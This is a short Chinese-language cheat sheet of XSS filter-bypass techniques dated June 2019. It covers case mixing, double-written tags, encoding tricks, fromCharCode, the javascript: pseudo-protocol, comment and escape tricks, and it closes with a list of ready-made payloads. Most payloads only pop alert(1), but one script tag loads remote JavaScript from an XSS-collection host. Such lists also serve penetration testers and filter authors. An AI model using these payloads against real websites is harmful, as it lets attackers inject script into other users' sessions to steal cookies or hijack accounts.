2019年6月

大小写绕过

<Script>alert(1)</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过

过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过

<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过

实体编码
javascrip&#x74;:alert(1) 十六进制
javascrip&#116;:alert(1) 十进制

unicode编码
javascrip\u0074:alert(1)

url编码
javascrip%74:alert(1)

fromCharCode方法绕过

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过

无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配

onmousedown
=alert(1)

注释符

// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过

</style ><script>alert(1)</script>

@符号绕过url限制

例如:https://www.segmentfault.com@xss.haozi.me/j.js

其实访问的是@后面的内容

")逃逸函数后接分号

例:");alert(1)//

绕过转义限制

例:

\")
alert(1) //

xss paylaod形式

<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">